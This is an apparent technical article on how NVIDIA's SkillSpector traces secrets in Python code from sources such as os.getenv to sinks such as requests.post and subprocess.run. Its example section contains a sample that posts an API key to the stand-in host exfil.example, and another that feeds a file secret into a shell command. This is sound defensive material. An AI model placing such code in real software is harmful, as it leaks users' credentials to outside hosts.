# How SkillSpector's Taint Tracking Detects Credential Exfiltration Chains

> SkillSpector's taint tracking analyzes Python ASTs to detect credential exfiltration chains. It traces data from sources to network sinks, mapping exfiltration paths with severity-based rules.

- Repository: [NVIDIA Corporation/SkillSpector](https://github.com/NVIDIA/SkillSpector)
- Tags: deep-dive
- Published: 2026-06-15

---

**SkillSpector implements a behavioral taint-tracking analyzer that parses Python ASTs to trace data flows from credential sources to network sinks, automatically detecting exfiltration chains through source-to-sink mapping and severity-based rule IDs.**

NVIDIA's SkillSpector identifies credential exfiltration vulnerabilities by analyzing how secret data moves through Python codebases. The tool's behavioral taint-tracking analyzer, implemented in [`src/skillspector/nodes/analyzers/behavioral_taint_tracking.py`](https://github.com/NVIDIA/SkillSpector/blob/main/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py), builds a data-flow graph connecting sensitive sources—such as environment variables and file reads—to dangerous sinks like network outputs and subprocess calls.

## Architecture of the Behavioral Taint-Tracking Analyzer

The analyzer operates by transforming Python source code into an abstract syntax tree (AST) and constructing a type map that resolves fully-qualified function names. According to the implementation in [`behavioral_taint_tracking.py`](https://github.com/NVIDIA/SkillSpector/blob/main/behavioral_taint_tracking.py), the pipeline first parses the file content and builds a type-resolution map to accurately identify call targets.

```python
tree = ast.parse(content, filename=file_path)
type_map = build_type_map(tree)

```

This AST-based approach enables the analyzer to track data flows statically without executing the code, identifying potential credential exfiltration chains before deployment.

## Defining Sources and Sinks in SkillSpector

The detection system relies on predefined sets of **sources** (where secrets originate) and **sinks** (where data can be leaked). These are declared as frozen sets at the module level in [`behavioral_taint_tracking.py`](https://github.com/NVIDIA/SkillSpector/blob/main/behavioral_taint_tracking.py).

### Credential Sources

Tainted data originates from functions that access sensitive information. The `_CREDENTIAL_SOURCES` set includes environment variable accessors, while `_FILE_READ_SOURCES` captures file-based secret loading:

```python
_CREDENTIAL_SOURCES = {"os.environ.get", "os.environ", "os.getenv"}
_FILE_READ_SOURCES = {"open", "pathlib.Path.read_text", "pathlib.Path.read_bytes"}

```

Additional source families include `_NETWORK_INPUT_SOURCES` for network-based input and user input functions.

### Exfiltration Sinks

Sinks represent dangerous operations where tainted data triggers an alert. The analyzer defines `_NETWORK_OUTPUT_SINKS` for network transmission, `_EXEC_SINKS` for subprocess execution, and `_FILE_WRITE_SINKS` for file persistence. These sets cover functions like `requests.post`, `socket.send`, `subprocess.run`, and file write operations.

## How Taint Propagation Works

Once sources are identified, the analyzer tracks how tainted values flow through the codebase using two propagation mechanisms.

### Source Detection in Assignments

When the analyzer encounters an `Assign` node, it inspects the right-hand side expression using `_find_source_in_expr`. If a source is detected, the left-hand side variables are marked as tainted with metadata including the source name and line number:

```python
src_name = _find_source_in_expr(ast_node.value, type_map)
_mark_targets(ast_node.targets, tainted, src_name, ast_node.lineno)

```

### Direct and Container Propagation

Taint spreads through both direct assignment and container construction. The `_find_tainted_in_expr` function identifies when a tainted variable is assigned to another variable, while the analyzer walks literals—including dictionaries, lists, tuples, and f-strings—to propagate taint to any new variable incorporating sensitive data:

```python
tv = _find_tainted_in_expr(ast_node.value, tainted)

```

## Detecting Exfiltration Chains at Sink Call Sites

The critical detection logic occurs when the analyzer encounters a `Call` node matching a sink definition. The system employs dual detection strategies to identify both direct and indirect credential flows.

### Nested Source Discovery

For each sink call, the analyzer first searches for nested source calls within the arguments using `_find_nested_sources`. This catches immediate flows where a credential is passed directly to a network function:

```python
sink_name = resolve_call_name_typed(ast_node, type_map)
for src_name, src_node in _find_nested_sources(ast_node, type_map):
    rule = _pick_rule(src_name, sink_name, is_direct=True)

```

### Tainted Variable Detection

The analyzer also checks for variables that were previously marked as tainted using `_find_tainted_names_in_args`. This captures indirect flows where a secret was assigned to a variable earlier and then passed to a sink:

```python
for tv in _find_tainted_names_in_args(ast_node, tainted):
    rule = _pick_rule(tv.source_call, sink_name, is_direct=False)

```

## Rule Selection and Severity Classification

The `_pick_rule` function maps specific source-sink combinations to rule IDs (`TT1` through `TT5`) that encode severity and confidence levels. For example, a direct flow from credentials to network output triggers rule `TT3`:

```python
if source_name in _CREDENTIAL_SOURCES and sink_name in _NETWORK_OUTPUT_SINKS:
    return "TT3"

```

Severity ratings and confidence scores are stored in `_RULE_SEVERITIES` and `_RULE_CONFIDENCES`, allowing the system to prioritize high-risk credential exfiltration chains over lower-risk patterns.

## Integration with the SkillSpector Pipeline

The `node` function in [`static_runner.py`](https://github.com/NVIDIA/SkillSpector/blob/main/static_runner.py) orchestrates the analysis across the codebase. It iterates over Python components, enforces file size limits via `MAX_FILE_BYTES`, and aggregates findings:

```python
for path in components:
    if not path.endswith(".py"): continue
    raw = _analyze_python(content, path)

```

Each detected flow generates an `AnalyzerFinding` object containing the rule ID, severity, confidence, source location, and code snippet. The findings are then logged and integrated into the final response through [`graph.py`](https://github.com/NVIDIA/SkillSpector/blob/main/graph.py) and [`models.py`](https://github.com/NVIDIA/SkillSpector/blob/main/models.py).

## Code Examples of Credential Exfiltration Detection

The following patterns demonstrate how SkillSpector identifies specific exfiltration chains:

**Example 1: Environment Variable to Network (TT3)**

```python
import os, requests

api_key = os.getenv("API_KEY")  # source: credential

requests.post("https://exfil.example", json={"key": api_key})  # sink: network output

```

**Example 2: File Read to Code Execution (TT5)**

```python
import subprocess, pathlib

secret = pathlib.Path("secret.txt").read_text()  # source: file read

cmd = f"echo {secret}"
subprocess.run(cmd, shell=True)  # sink: exec

```

The analyzer produces findings identifying these as "Direct flow: os.getenv → requests.post" or "Tainted flow: 'secret' from open → subprocess.run" with appropriate severity classifications.

## Summary

- **AST-based analysis**: SkillSpector parses Python files into ASTs and resolves type maps to identify function calls accurately in [`behavioral_taint_tracking.py`](https://github.com/NVIDIA/SkillSpector/blob/main/behavioral_taint_tracking.py).
- **Source-sink model**: The analyzer defines frozen sets of credential sources (`_CREDENTIAL_SOURCES`) and dangerous sinks (`_NETWORK_OUTPUT_SINKS`, `_EXEC_SINKS`) to establish detection boundaries.
- **Taint propagation**: Variables are marked via `_mark_targets` and tracked through assignments and container literals using `_find_tainted_in_expr`.
- **Dual detection**: The system detects both direct nested sources (`_find_nested_sources`) and previously tainted variables (`_find_tainted_names_in_args`) at sink call sites.
- **Rule-based classification**: The `_pick_rule` function assigns specific IDs (TT3, TT5) and severities to credential exfiltration chains, enabling prioritized remediation.
- **Pipeline integration**: The `node` function in [`static_runner.py`](https://github.com/NVIDIA/SkillSpector/blob/main/static_runner.py) enforces file size limits and aggregates `AnalyzerFinding` objects into the final security report.

## Frequently Asked Questions

### How does SkillSpector define a "source" in taint analysis?

SkillSpector defines sources as frozen sets of function signatures that retrieve sensitive data. In [`behavioral_taint_tracking.py`](https://github.com/NVIDIA/SkillSpector/blob/main/behavioral_taint_tracking.py), the `_CREDENTIAL_SOURCES` set includes `os.environ.get`, `os.getenv`, and environment variable access patterns, while `_FILE_READ_SOURCES` captures `open` and `pathlib` read operations. These definitions tell the analyzer where secret data potentially enters the system.

### What is the difference between TT3 and TT5 rules in credential exfiltration detection?

Rule `TT3` triggers when credential sources (environment variables) flow directly to network output sinks, representing immediate API key exfiltration. Rule `TT5` activates when file-read sources containing secrets propagate to execution sinks like `subprocess.run`, indicating command injection risks. The `_pick_rule` function assigns these IDs based on the specific source-sink combination detected, with each rule carrying distinct severity ratings in `_RULE_SEVERITIES`.

### Can SkillSpector detect indirect taint propagation through data structures?

Yes, the analyzer handles container propagation by walking dictionary, list, tuple, and f-string literals. When a tainted value is incorporated into these structures via `_find_tainted_in_expr`, the resulting variable is also marked as tainted. This allows detection of exfiltration chains where secrets are concatenated into strings or packed into JSON payloads before reaching network sinks.

### How does the analyzer handle large Python files in the pipeline?

The `node` function in [`static_runner.py`](https://github.com/NVIDIA/SkillSpector/blob/main/static_runner.py) enforces a `MAX_FILE_BYTES` limit, skipping files that exceed the configured size threshold. This prevents performance degradation when analyzing enterprise-scale repositories while ensuring that analyzable files are processed through `_analyze_python` in [`behavioral_taint_tracking.py`](https://github.com/NVIDIA/SkillSpector/blob/main/behavioral_taint_tracking.py). The system logs the number of findings per file to aid in debugging and coverage analysis.